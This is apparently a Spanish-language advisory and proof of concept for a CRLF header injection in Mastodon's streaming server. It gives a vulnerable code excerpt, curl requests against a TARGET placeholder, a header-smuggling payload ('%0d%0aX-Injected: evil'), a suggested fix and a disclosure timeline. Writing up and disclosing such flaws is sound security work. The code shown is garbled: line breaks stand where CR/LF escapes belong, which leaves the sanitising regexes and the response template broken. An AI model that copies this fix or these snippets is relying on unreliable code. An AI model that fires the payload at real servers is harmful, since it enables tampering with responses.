
Mastodon Streaming Server Security Vulnerability PoC - CVE-2026-Mastodon-Streaming-CRLF-Injection
| Elemento | Detalles |
|---|---|
| ID de CVE | CVE-2026-XXXXX |
| Producto afectado | Mastodon (Streaming Server) |
| Versión afectada | <= 4.5.9 |
| Componente | streaming/index.js líneas 188-206 |
| Tipo de vulnerabilidad | HTTP Response Header Injection / CRLF Injection |
| CWE | CWE-74 |
| CVSS 3.1 | 6.5 (Medium) |
| Vector de ataque | Red |
| Reportante | qitian [email protected] |
Cuando una solicitud de actualización WebSocket falla la autenticación, el servidor de streaming de Mastodon en streaming/index.js líneas 188-206 construye una respuesta HTTP manual y escribe errorMessage directamente en la cabecera de respuesta X-Error-Message a través de socket.end() SIN sanear los caracteres CR o LF.
Esto permite a un atacante remoto no autenticado inyectar cabeceras HTTP arbitrarias o realizar una división de respuestas HTTP (HTTP Response Splitting).
const { statusCode, errorMessage } = extractErrorStatusAndMessage(err);
const headers = {
'Connection': 'close',
'Content-Type': 'text/plain',
'Content-Length': 0,
'X-Request-Id': request.id,
'X-Error-Message': errorMessage // NO CRLF sanitization
};
socket.end(
`HTTP/1.1 ${statusCode} ${http.STATUS_CODES[statusCode]}
` +
`${Object.keys(headers).map((key) => `${key}: ${headers[key]}`).join('
')}
`
);
curl -i -X GET \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
http://TARGET:4000/api/v1/streaming/user
Esperado: HTTP/1.1 401 Unauthorized, X-Error-Message: Missing access token
curl -i -X GET \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Authorization: Bearer test%0d%0aX-Injected: evil" \
http://TARGET:4000/api/v1/streaming/user
Sanear errorMessage antes de escribirlo en la cabecera del socket:
const sanitizedMessage = String(errorMessage || '')
.replace(/
/g, '%0D')
.replace(/
/g, '%0A');
// OR use Node.js res.setHeader() API which prevents header injection
| Fecha | Evento |
|---|---|
| 2026-04-22 | Vulnerabilidad descubierta y PoC creado |
| 2026-04-22 | Informe de CVE enviado a MITRE / VDB |
Aviso legal: Este PoC es solo con fines educativos y de investigación en seguridad.